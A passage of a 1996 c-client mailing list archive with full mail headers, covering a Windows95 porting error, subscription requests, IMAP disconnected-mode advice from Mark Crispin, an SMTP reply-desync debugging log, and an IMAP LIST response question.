30 Apr 96 03:14:05 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from nemesis.csi.forth.gr by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA28245; Tue, 30 Apr 96 03:13:58 -0700 Received: from aspasia.csi.forth.gr by nemesis.ics.forth.gr (ICS mailhost); on Tue, 30 Apr 1996 13:14:10 +0300 (EET DST); with id AA11511 Date: Tue, 30 Apr 1996 13:14:10 +0300 From: Kyriakakis Vangelis Received: by aspasia.csi.forth.gr (4.1/SMI-4.1) id AA22652; Tue, 30 Apr 96 13:05:34 +0300 Message-Id: <9604301005.AA22652@aspasia.csi.forth.gr> Organization: Institute of Computer Science, Foundation for Research and Technology-Hellas (FORTH) Science and Technology Park of Crete Vassilika Vouton, P.O.Box 1385 GR 711 10 Heraklion, Crete, Greece tel.: +30 (81) 39 16 00, fax: +30 (81) 39 16 01 To: c-client@cac.washington.edu Subject: c-client for Windows95 Hello, Is there a port of c-client for the Windows95 platform? The software compiles with the WindowsNT makefile but it doesn't run.. Is it possible for the c-client library to work on Windows95 platform? Thanks Vangelis Kyriakakis e-mail: vkyriak@ics.forth.gr From pinedev@shivax2.cac.washington.edu Tue Apr 30 11:33:41 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA23921; Tue, 30 Apr 96 11:33:41 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA20614; Tue, 30 Apr 96 11:31:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA20608; Tue, 30 Apr 96 11:31:36 -0700 Received: from localhost by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA16334; Tue, 30 Apr 96 11:30:57 -0700 Date: Tue, 30 Apr 1996 11:28:50 -0700 (PDT) From: Mark Crispin Subject: re: c-client for Windows95 To: Kyriakakis Vangelis Cc: c-client@cac.washington.edu In-Reply-To: <9604301005.AA22652@aspasia.csi.forth.gr> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Tue, 30 Apr 1996 13:14:10 +0300, Kyriakakis Vangelis wrote: > Is there a port of c-client for the Windows95 platform? The software > compiles with the WindowsNT makefile but it doesn't run.. > Is it possible for the c-client library to work on Windows95 platform? You'll have to be a bit more specific than "it doesn't run". As far as I know, if you can successfully build the NT binaries, it should run on Windows95. I think that the only NT-specific system calls are in the server login validation code. From pinedev@shivax2.cac.washington.edu Sun May 5 10:56:41 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA10383; Sun, 5 May 96 10:56:41 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA21670; Sun, 5 May 96 10:54:38 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from giasbm01.vsnl.net.in by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA21664; Sun, 5 May 96 10:54:25 -0700 Received: (from shilpa@localhost) by giasbm01.vsnl.net.in (8.7.4/8.7.3) id XAA08415; Sun, 5 May 1996 23:22:47 +0530 (IST) Date: Sun, 5 May 1996 23:22:47 +0530 (GMT+5:30) From: Shilpa To: c-client@cac.washington.edu Subject: Subscription to c-client Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear Sir, I submit that I would like to subscribe for c-client on a regular basis, and would appriciate very much, your kind acceptance of my request. thanking you, with regards, sincerely, Dr Shilpa Pratap From pinedev@shivax2.cac.washington.edu Wed May 8 16:20:49 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA25432; Wed, 8 May 96 16:20:49 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA01191; Wed, 8 May 96 16:16:39 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from smarty.smart.net by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA01185; Wed, 8 May 96 16:16:36 -0700 Received: (hutchison@localhost) by smarty.smart.net (8.6.9/8.6.9) id TAA07582; Wed, 8 May 1996 19:16:07 -0400 Date: Wed, 8 May 1996 19:16:04 -0400 (EDT) From: "(Lee C. W. Hutchison II.)" To: Shilpa Cc: c-client@cac.washington.edu Subject: Re: Subscription to c-client In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > > Dear Sir, > > I submit that I would like to subscribe for c-client on a regular basis, > and would appriciate very much, your kind acceptance of my request. > > thanking you, > with regards, > sincerely, > Lee C. W. Hutchison II. hutchison@smart.net 2700 Que Street, N. W. Washington, D. C. 20007> From pinedev@shivax2.cac.washington.edu Sun May 19 03:02:47 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA01690; Sun, 19 May 96 03:02:47 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA05661; Sun, 19 May 96 03:01:37 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from nemesis.csi.forth.gr by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA05655; Sun, 19 May 96 03:01:30 -0700 Received: from aspasia.csi.forth.gr by nemesis.ics.forth.gr (ICS mailhost); on Sun, 19 May 1996 13:01:47 +0300 (EET DST); with id AA03900 Date: Sun, 19 May 1996 13:01:47 +0300 From: Kyriakakis Vangelis Received: by aspasia.csi.forth.gr (4.1/SMI-4.1) id AA19511; Sun, 19 May 96 12:52:14 +0300 Message-Id: <9605190952.AA19511@aspasia.csi.forth.gr> Organization: Institute of Computer Science, Foundation for Research and Technology-Hellas (FORTH) Science and Technology Park of Crete Vassilika Vouton, P.O.Box 1385 GR 711 10 Heraklion, Crete, Greece tel.: +30 (81) 39 16 00, fax: +30 (81) 39 16 01 To: c-client@cac.washington.edu Subject: c-client for Windows95 Hello, We have built the c-client library on a Windows95 system. When we try to run the executables we take the following error messages: For example if we run imapd.exe we take: The IMAPD.EXE file is linked to missing export NETAPI32.DLL:NetUserGetInfo A device attached to the system is not functioning The same binaries run fine on a WindowsNT system. Any ideas? Thanks in advance Kyriakakis Vangelis e-mail: vkyriak@ics.forth.gr P.S. Is there any documentation about the c-client library? From pinedev@shivax2.cac.washington.edu Mon May 20 12:09:12 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA10681; Mon, 20 May 96 12:09:12 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA02155; Mon, 20 May 96 12:07:51 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from uucp6.netcom.com by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA02149; Mon, 20 May 96 12:07:50 -0700 Received: by netcomsv.netcom.com with UUCP (8.6.12/SMI-4.1) id LAA21130; Mon, 20 May 1996 11:57:46 -0700 Received: by usc.com (NX5.67d/NX3.0M) id AA05088; Mon, 20 May 96 11:53:01 -0700 From: Will Estes Message-Id: <9605201853.AA05088@usc.com> Subject: Remove From List? To: c-client@cac.washington.edu Date: Mon, 20 May 1996 11:53:00 -0700 (PDT) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Content-Length: 472 I have tried numerous messages over the course of the last year to owner-c-client to get removed from this list. None of those evers gets answered. Could someone explain to me how I get my name off of the list. -- Will Estes U.S. Computer Internet: westes@usc.com POB 3150 Saratoga, CA 95070 FAX: 408-446-1013 From pinedev@shivax2.cac.washington.edu Mon May 20 12:23:20 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA11352; Mon, 20 May 96 12:23:20 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA02627; Mon, 20 May 96 12:22:45 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA02621; Mon, 20 May 96 12:22:44 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA27790; Mon, 20 May 96 12:22:40 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA23703; Mon, 20 May 96 12:22:35 -0700 Date: Mon, 20 May 1996 12:17:06 -0700 (PDT) From: Mark Crispin Subject: re: Remove From List? To: Will Estes Cc: c-client@cac.washington.edu In-Reply-To: <9605201853.AA05088@usc.com> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 20 May 1996 11:53:00 -0700 (PDT), Will Estes wrote: > I have tried numerous messages over the course of the last year to > owner-c-client to get removed from this list. None of those evers > gets answered. Could someone explain to me how I get my name off of > the list. I never received any message from you to be removed from the c-client mailing list. In any case, owner-c-client is the wrong address to use; that address is for mailers to report errors. The standard convention on the Internet for mailing lists is that administrative requests should go to the list name suffixed by "-request"; hence the correct address is c-client-request@cac.washington.edu. Please make careful note of this convention and remember it for future use, since it applies to almost ALL mailing lists on the Internet. From pinedev@shivax2.cac.washington.edu Mon Jun 3 01:52:02 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA28551; Mon, 3 Jun 96 01:52:02 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA05351; Mon, 3 Jun 96 01:46:40 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from danmat.math.ku.dk by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA05345; Mon, 3 Jun 96 01:46:38 -0700 Received: from jessen (jessen [130.225.103.36]) by danmat.math.ku.dk (8.7/8.7) with SMTP id KAA25911 for ; Mon, 3 Jun 1996 10:46:35 +0200 Date: Mon, 3 Jun 1996 10:46:32 +0200 (MET DST) From: Farhad Dehghani X-Sender: farhad@jessen To: C-client Mailing List Subject: Disconnected mode and the C-client Message-Id: X-Organization: Mathematical Institut Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Dear fellows, I am implementing a MUA suitable for mobile environments based on IMAP4 and using the c-client interface. What I need is a driver in c-client, handling the disconnected mode of operaion. Is the support for disconnected state of operation implemented in c-client? If so How? Is there any documentation available in this topic? I am specially interested in implementation of the synchronization proces. I really appreciate any help. Best regards, Farhad Dehghani =============== Mathematical Institut University of Copenhagen Phone : + 45 35 32 07 14 Universitetsparken 5 DK-2100 Copenhagen E-mail: farhad@math.ku.dk =========================================================== From pinedev@shivax2.cac.washington.edu Mon Jun 3 12:31:02 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA19112; Mon, 3 Jun 96 12:31:02 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA03687; Mon, 3 Jun 96 12:28:14 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from tomobiki-cho.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA03681; Mon, 3 Jun 96 12:28:13 -0700 Received: from UW-Gateway.Panda.COM by Tomobiki-Cho.CAC.Washington.EDU (NX5.67f2/UW-NDC Revision: 2.27.MRC ) id AA25002; Mon, 3 Jun 96 12:28:09 -0700 Received: from localhost by Ikkoku-Kan.Panda.COM (NX5.67e/UW-NDC/Panda Revision: 2.27.MRC ) id AA05745; Mon, 3 Jun 96 12:28:05 -0700 Date: Mon, 3 Jun 1996 12:26:00 -0700 (PDT) From: Mark Crispin Subject: re: Disconnected mode and the C-client To: Farhad Dehghani Cc: C-client Mailing List In-Reply-To: Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII On Mon, 3 Jun 1996 10:46:32 +0200 (MET DST), Farhad Dehghani wrote: > I am implementing a MUA suitable for mobile environments based on IMAP4 > and using the c-client interface. What I need is a driver in c-client, > handling the disconnected mode of operaion. Is the support for > disconnected state of operation implemented in c-client? If so How? Is > there any documentation available in this topic? I am specially interested > in implementation of the synchronization proces. The latest version of c-client (distributed in the imap-4 toolkit) supports unique identifiers, which are necessary for implementing the disconnected mode of operation. The other portions of disconnected mode operation (e.g. keeping state of what UIDs you have accessed in the past) are implemented in your own main program, not in c-client. This also includes the synchronization process; different people have different ideas about the "right" algorithm. From pinedev@shivax2.cac.washington.edu Mon Jun 3 12:37:27 1996 -0700 Return-Path: Received: from mx2.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA19454; Mon, 3 Jun 96 12:37:27 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA03954; Mon, 3 Jun 96 12:35:40 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhost2.cac.washington.edu by mx2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA03948; Mon, 3 Jun 96 12:35:37 -0700 Received: from bart.cac.washington.edu by mailhost2.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA07452; Mon, 3 Jun 96 12:35:36 -0700 Received: from shiva1.cac.washington.edu by bart.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA29926; Mon, 3 Jun 96 12:35:35 -0700 Date: Mon, 3 Jun 1996 12:35:35 -0700 (PDT) From: Terry Gray To: Mark Crispin Cc: Farhad Dehghani , C-client Mailing List Subject: re: Disconnected mode and the C-client In-Reply-To: Message-Id: Organization: University of Washington; Computing & Communications Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII However, at least one vendor has built a "re-play" driver for c-client that greatly reduces the impact of disconnected ops on the main program. There was even some talk that this replay driver might be made generally available, but I haven't heard anything about that lately. -teg On Mon, 3 Jun 1996, Mark Crispin wrote: > On Mon, 3 Jun 1996 10:46:32 +0200 (MET DST), Farhad Dehghani wrote: > > I am implementing a MUA suitable for mobile environments based on IMAP4 > > and using the c-client interface. What I need is a driver in c-client, > > handling the disconnected mode of operaion. Is the support for > > disconnected state of operation implemented in c-client? If so How? Is > > there any documentation available in this topic? I am specially interested > > in implementation of the synchronization proces. > > The latest version of c-client (distributed in the imap-4 toolkit) supports > unique identifiers, which are necessary for implementing the disconnected mode > of operation. > > The other portions of disconnected mode operation (e.g. keeping state of what > UIDs you have accessed in the past) are implemented in your own main program, > not in c-client. This also includes the synchronization process; different > people have different ideas about the "right" algorithm. > > From pinedev@shivax2.cac.washington.edu Tue Jun 11 20:02:47 1996 -0700 Return-Path: Received: from mx1.cac.washington.edu by shivams.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA11680; Tue, 11 Jun 96 20:02:47 -0700 Received: by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA16008; Tue, 11 Jun 96 19:59:43 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from io.org by mx1.cac.washington.edu (5.65+UW96.04/UW-NDC Revision: 2.33 ) id AA16002; Tue, 11 Jun 96 19:59:42 -0700 Received: from TDAC1 (tdac.net3.io.org [199.166.238.210]) by io.org (8.6.12/8.6.12) with SMTP id WAA16408 for ; Tue, 11 Jun 1996 22:59:35 -0400 Message-Id: <199606120259.WAA16408@io.org> X-Sender: tcox@io.org X-Mailer: Windows Eudora Version 1.4.3 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Date: Tue, 11 Jun 1996 22:59:47 -0400 To: c-client@cac.washington.edu From: tcox@io.org (Timothy D. A. Cox) Subject: HOWTO: subscribe Could someone please tell me how? Thanks. Tim ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Timothy D. A. Cox TDAC Software Inc. e-mail - tcox@io.org URL - http://www.io.org/~tcox CIS: 70353,3403 From pinedev@shivax2.cac.washington.edu Mon Jul 29 18:07:34 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Mon, 29 Jul 1996 18:07:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA17011; Mon, 29 Jul 96 18:07:33 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA01259; Mon, 29 Jul 96 18:02:36 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from morinda.cs.ntu.edu.au by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA01249; Mon, 29 Jul 96 18:02:29 -0700 Received: (from tung@localhost) by morinda.cs.ntu.edu.au (8.7.1/8.7.1) id KAA16033; Tue, 30 Jul 1996 10:32:26 +0930 (CST) Date: Tue, 30 Jul 1996 10:32:25 +0930 (CST) From: Robert Tung Subject: To: C-Client@CAC.Washington.EDU Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII subscribe c-client From pinedev@shivax2.cac.washington.edu Tue Jul 30 00:08:20 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Tue, 30 Jul 1996 00:08:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA20405; Tue, 30 Jul 96 00:08:20 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA05965; Tue, 30 Jul 96 00:06:43 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhub.Stanford.EDU by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA05959; Tue, 30 Jul 96 00:06:41 -0700 Received: from 220 ([205.158.210.134]) by mailhub.Stanford.EDU (8.7.5/8.7.3) with ESMTP id AAA14717; Tue, 30 Jul 1996 00:06:11 -0700 (PDT) From: adam@treestar.com Date: Tue, 30 Jul 1996 00:06:45 -0700 Subject: extra response in smtp_open throws later commands off To: c-client@cac.washington.edu Cc: adam@treestar.com Message-Id: Mime-Version: 1.0 Content-Type: TEXT/plain; charset=US-ASCII I'm writing a variation of smtp_mail that takes its input from a file, aot an ENVELOPE and BODY. Below is a log of a send bug that I'm experiencing. Note the response to a RSET is a 500 Command unrecognized. This appears to be held over from the EHLO thats sent in smtp_open, and it throws the responses out of sync with the commands that elicit them. My program eventually aborts because it doesn't get the response it expects. This doesn't always happen, but sometimes. So the first part of the question is where is the bad command coming from? Its in the queue as of the smtp_open call, because if I force the program thru an extra call to smtp_reply, the responses get back in synch and the send works okay. The second part of the question is whether there is a more tolerant way to parse replies other than: do reply = smtp_reply (stream); while (stream->reply[3] == '-'); so that I can pull replies off the TCP queue until they are gone, aot until the syntax implies. Is there any benefit to writing the reply function so that I can send a RSET and then pull off any queued up responses until the buffer is empty, or should I just find whats generating the 500 error, fix that and trust that things will stay in synch after that? Has ayone seen this kind of behavior, or have clues as to how to track it down? Adam ---------------------------------- OUT-> 36.21.0.128:25 ) EHLO 220 mailhub.Stanford.EDU ESMTP Sendmail 8.7.5/8.7.3; Mon, 29 Jul 1996 21:52:42 -0700 (PDT) IN <- 36.21.0.128:25 ) 250-mailhub.Stanford.EDU Hello [205.158.210.134], pleased to meet you IN <- 36.21.0.128:25 ) 250-EXPN IN <- 36.21.0.128:25 ) 250-8BITMIME IN <- 36.21.0.128:25 ) 250-SIZE IN <- 36.21.0.128:25 ) 250-DSN IN <- 36.21.0.128:25 ) 250-VERB IN <- 36.21.0.128:25 ) 250-ONEX IN <- 36.21.0.128:25 ) 250 HELP OUT-> 36.21.0.128:25 ) RSET IN <- 36.21.0.128:25 ) 500 Command unrecognized OUT-> 36.21.0.128:25 ) MAIL FROM: IN <- 36.21.0.128:25 ) 250 Reset state OUT-> 36.21.0.128:25 ) RCPT TO: IN <- 36.21.0.128:25 ) 250 ... Sender ok OUT-> 36.21.0.128:25 ) DATA IN <- 36.21.0.128:25 ) 250 Recipient ok OUT-> 36.21.0.128:25 ) QUIT IN <- 36.21.0.128:25 ) 354 Enter mail, end with "." on a line by itself OUT-> 36.21.0.128:25 ) QUIT IN <- 36.21.0.128:25 ) Asynch stream close initiated. From pinedev@shivax2.cac.washington.edu Tue Jul 30 00:10:47 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Tue, 30 Jul 1996 00:10:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA20411; Tue, 30 Jul 96 00:10:47 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA06013; Tue, 30 Jul 96 00:09:15 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from mailhub.Stanford.EDU by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA06007; Tue, 30 Jul 96 00:09:13 -0700 Received: from 220 ([205.158.210.134]) by mailhub.Stanford.EDU (8.7.5/8.7.3) with ESMTP id AAA14734; Tue, 30 Jul 1996 00:08:49 -0700 (PDT) From: adam@treestar.com Date: Tue, 30 Jul 1996 00:09:58 -0700 Subject: extra response in smtp_open throws later commands off To: c-client@cac.washington.edu Cc: adam@treestar.com Message-Id: Mime-Version: 1.0 Content-Type: TEXT/plain; charset=US-ASCII I'm writing a variation of smtp_mail that takes its input from a file, aot an ENVELOPE and BODY. Below is a log of a send bug that I'm experiencing. Note the response to a RSET is a 500 Command unrecognized. This appears to be held over from the EHLO thats sent in smtp_open, and it throws the responses out of sync with the commands that elicit them. My program eventually aborts because it doesn't get the response it expects. This doesn't always happen, but sometimes. So the first part of the question is where is the bad command coming from? Its in the queue as of the smtp_open call, because if I force the program thru an extra call to smtp_reply, the responses get back in synch and the send works okay. The second part of the question is whether there is a more tolerant way to parse replies other than: do reply = smtp_reply (stream); while (stream->reply[3] == '-'); so that I can pull replies off the TCP queue until they are gone, aot until the syntax implies. Is there any benefit to writing the reply function so that I can send a RSET and then pull off any queued up responses until the buffer is empty, or should I just find whats generating the 500 error, fix that and trust that things will stay in synch after that? Has ayone seen this kind of behavior, or have clues as to how to track it down? Adam ---------------------------------- OUT-> 36.21.0.128:25 ) EHLO 220 mailhub.Stanford.EDU ESMTP Sendmail 8.7.5/8.7.3; Mon, 29 Jul 1996 21:52:42 -0700 (PDT) IN <- 36.21.0.128:25 ) 250-mailhub.Stanford.EDU Hello [205.158.210.134], pleased to meet you IN <- 36.21.0.128:25 ) 250-EXPN IN <- 36.21.0.128:25 ) 250-8BITMIME IN <- 36.21.0.128:25 ) 250-SIZE IN <- 36.21.0.128:25 ) 250-DSN IN <- 36.21.0.128:25 ) 250-VERB IN <- 36.21.0.128:25 ) 250-ONEX IN <- 36.21.0.128:25 ) 250 HELP OUT-> 36.21.0.128:25 ) RSET IN <- 36.21.0.128:25 ) 500 Command unrecognized OUT-> 36.21.0.128:25 ) MAIL FROM: IN <- 36.21.0.128:25 ) 250 Reset state OUT-> 36.21.0.128:25 ) RCPT TO: IN <- 36.21.0.128:25 ) 250 ... Sender ok OUT-> 36.21.0.128:25 ) DATA IN <- 36.21.0.128:25 ) 250 Recipient ok OUT-> 36.21.0.128:25 ) QUIT IN <- 36.21.0.128:25 ) 354 Enter mail, end with "." on a line by itself OUT-> 36.21.0.128:25 ) QUIT IN <- 36.21.0.128:25 ) Asynch stream close initiated. From pinedev@shivax2.cac.washington.edu Mon Aug 5 11:54:15 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Mon, 5 Aug 1996 11:54:15 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA12677; Mon, 5 Aug 96 11:54:14 -0700 Received: by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA07070; Mon, 5 Aug 96 11:50:47 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from nemesis.csi.forth.gr by mx2.cac.washington.edu (5.65+UW96.06/UW-NDC Revision: 2.33 ) id AA07064; Mon, 5 Aug 96 11:50:38 -0700 Received: from osiris.csi.forth.gr by nemesis.ics.forth.gr (ICS mailhost); on Mon, 5 Aug 1996 21:50:30 +0300 (EET DST); with id AA16883 From: Catherine E. Chronaki Received: by osiris.csi.forth.gr (SMI-8.6/SMI-SVR4) id VAA08926; Mon, 5 Aug 1996 21:50:29 +0300 Date: Mon, 5 Aug 1996 21:50:29 +0300 Message-Id: <199608051850.VAA08926@osiris.csi.forth.gr> Organization: Institute of Computer Science, Foundation for Research and Technology-Hellas (FORTH) Science and Technology Park of Crete Vassilika Vouton, P.O.Box 1385 GR 711 10 Heraklion, Crete, Greece tel.: +30 (81) 39 16 00, fax: +30 (81) 39 16 01 To: c-client@cac.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: S8woAZV8Lamk3swvYReagg== subscribe From pinedev@shivax2.cac.washington.edu Sat Aug 24 15:22:26 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Sat, 24 Aug 1996 15:22:26 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA29804; Sat, 24 Aug 96 15:22:26 -0700 Received: (from daemon@localhost) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id PAA10002 for c-client-out; Sat, 24 Aug 1996 15:20:38 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from xray.pro.icl.se (xray.pro.icl.se [140.150.80.4]) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with ESMTP id PAA09997 for ; Sat, 24 Aug 1996 15:20:33 -0700 Received: from pctomfa (pctomfa.pro.icl.se [140.150.77.100]) by xray.pro.icl.se (8.6.9/tomfa/9608130859) with ESMTP id AAA06137 for ; Sun, 25 Aug 1996 00:20:30 +0200 Message-Id: <199608242220.AAA06137@xray.pro.icl.se> Date: Sun, 25 Aug 1996 00:20:28 +0200 From: Tomas Fasth Subject: Question about LIST response To: c-client@cac.washington.edu X-Mailer: EMBLA 1.2.1 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Mark, the following dialog was snipped out of a session between a pair of c-client based client and server: . OK LOGIN completed . list "" ./mail/test/% * LIST (\NoSelect) "/" ./mail/test/ * LIST (\NoSelect) "/" ./mail/test/subdir * LIST (\NoInferiors) "/" ./mail/test/mailbox . OK LIST completed My question is: Why did the server respond with the line: * LIST (\NoSelect) "/" ./mail/test/ This was not quite expected from the client side which was rather expecting the list command to return only the contents of mail/test, not including itself. Is your implementation suggesting that the client should check for a trailing path delimiter to be able to supress this particular response. Compare with a similar dialog using the CMU imap4 implementation: . list "" inbox.test.% * LIST () "." inbox.test.test . OK LIST completed Regards, Tomas Fasth From pinedev@shivax2.cac.washington.edu Wed Aug 28 23:57:57 1996 -0700 Return-Path: Received: via tmail-4.0(1) for mailarch+c-client; Wed, 28 Aug 1996 23:57:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu by groupfs.cac.washington.edu (5.65+UW95.11/UW-NDC Revision: 2.33 ) id AA09295; Wed, 28 Aug 96 23:57:57 -0700 Received: (from daemon@localhost) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) id XAA15821 for c-client-out; Wed, 28 Aug 1996 23:56:41 -0700 Errors-To: owner-c-client@cac.washington.edu Sender: owner-c-client@cac.washington.edu Received: from duke.cs.duke.edu (duke.cs.duke.edu [152.3.140.1]) by mx1.cac.washington.edu (8.7.5+UW96.08/8.7.3+UW96.08) with SMTP id XAA15816 for ; Wed, 28 Aug 1996 23:56:38 -0700 Received: from swift by duke.cs.duke.edu (5.65/3.10G/4.1.3) id AA13738; Thu, 29 Aug 96 02:56:37 -0400 Message-Id: <32253F24.5915@cs.duke.edu> Date: Thu, 29 Aug 1996 02:56:36 -0400 From: Surendar Chandra Organization: Department of Computer Science, Duke University X-Mailer: Mozilla 3.0b7Gold (X11; I; SunOS 5.5.1 sun4m) Mime-Version: 1.0 To: c-client@cac.washington.edu Cc: surendar@mx1.cac.washington.edu Subject: HELP: How can a IMAP4 server inform a client of a changing message in a Mobile environment 